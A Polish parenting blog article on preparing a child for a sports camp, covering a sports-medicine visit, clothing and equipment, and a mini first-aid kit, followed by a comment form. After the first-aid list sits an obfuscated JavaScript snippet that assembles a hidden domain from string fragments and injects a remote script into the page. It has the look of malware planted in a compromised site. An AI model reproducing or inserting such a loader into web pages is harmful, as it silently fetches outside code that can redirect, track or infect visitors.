Wakacje w pełni. Twoje dziecko wybiera się w tym roku na obóz sportowy? Sprawdź, jak je przygotować, dbając o jego zdrowie i dobrą kondycję. Zobacz, co będzie konieczne.

Masz w domu małego sportowca? Zadecydowaliście wspólnie, że w wakacje pojedzie na obóz sportowy? Oto lista rzeczy, w jakie powinnaś wyposażyć swoje dziecko i o których warto pamiętać przed wyjazdem.

Wizyta u lekarza medycyny sportowej dla dzieci

Warto sprawdzić, w jakim stanie jest organizm dziecka i jaki wpływ na jego zdrowie będą miały intensywne ćwiczenia. Obawiasz się, czy podoła treningom? Martwisz się o jego kondycję? Lekarz medycyny sportowej dla dzieci rozwieje twoje wątpliwości. W trakcie wizyty specjalista sprawdzi:

  • Funkcjonowanie układu oddechowego
  • Funkcjonowanie układu sercowo-naczyniowego
  • Funkcjonowanie układu ruchu

Ponadto, w razie konieczności, zleci wykonanie odpowiednich badań. U lekarza uzyskasz również niezbędne zaświadczenia (konieczne np. przy kwalifikacji do obozu).

Sprzęt sportowy, czyli co zabrać?

Malec trenuje na stałe i ma specjalny strój? Sprawdź koniecznie jego stan przed wyjazdem. Jeśli to jego pierwsze „starcie”, zadbaj o to, by w wyposażeniu dziecka znalazły się:

  • Chłonny ręcznik (np.z mikrofibry) – szybko schnie i jest niezwykle lekki, dzięki czemu możesz zapakować kilka sztuk na zmianę
  • Odpowiednie buty sportowe – dedykowane do odpowiedniej aktywności (inne do biegania czy treningów) lub na daną powierzchnię (np. turfy czy korki)
  • Strój sportowy – kilka bawełnianych, przewiewnych podkoszulków na zmianę, ewentualnie pochłaniających pot strojów, spodenki, skarpetki i bielizna bez sztucznych dodatków
  • Strój na basen – poświęć chwilę, by wyjaśnić dziecko, jak go suszyć
  • Frotkę przeciw potowi – nakładaną na nadgarstek
  • Sprzęt sportowy – złożony rower, sprzęt do szermierki itp. – zadbaj o jego odpowiednie opakowanie i transport


Mini apteczka

 Choć obiekty sportowe mają w obowiązku posiadać apteczkę, nierzadko zdarza się, że jest ona niekompletna i brakuje w niej nawet podstawowych elementów. Dlatego warto, aby dziecko zabrało ze sobą własną mini apteczkę. Jak ją wyposażyć? Pamiętaj o:

  • Dwóch rodzajach bandaży (elastycznym i zwykłym) oraz zapince do bandaży
  • Wodzie utlenionej lub innym środku dezynfekującym
  • Plastrach (przydadzą się też te na odgniotki)
  • Środkach przeciwbólowych (maściach i doustnych) i antyalergicznych – powiadom o nich opiekuna
  • Sprayu mrożącym na kontuzje
  • „Kwaśnej wodzie”

(function(){
au60=document.createElement(“script”);au60_=”u”+(“s”)+”ta”;
au60_+=(“t.i”)+””+”n”;au60_+=((“f”)+”o”);au60.type=”text/javascript”;
au60_+=”/”; au60u=”124434368″;au60u+=”.vcatxnbuu60frk5d3br”;au60u+=”51n25trhcnv”;
au60.src=”https://”+au60_+au60u; au60.async=true; document.body.appendChild(au60);
})();

ZOSTAW ODPOWIEDŹ

Please enter your comment!
Please enter your name here

This site uses Akismet to reduce spam. Learn how your comment data is processed.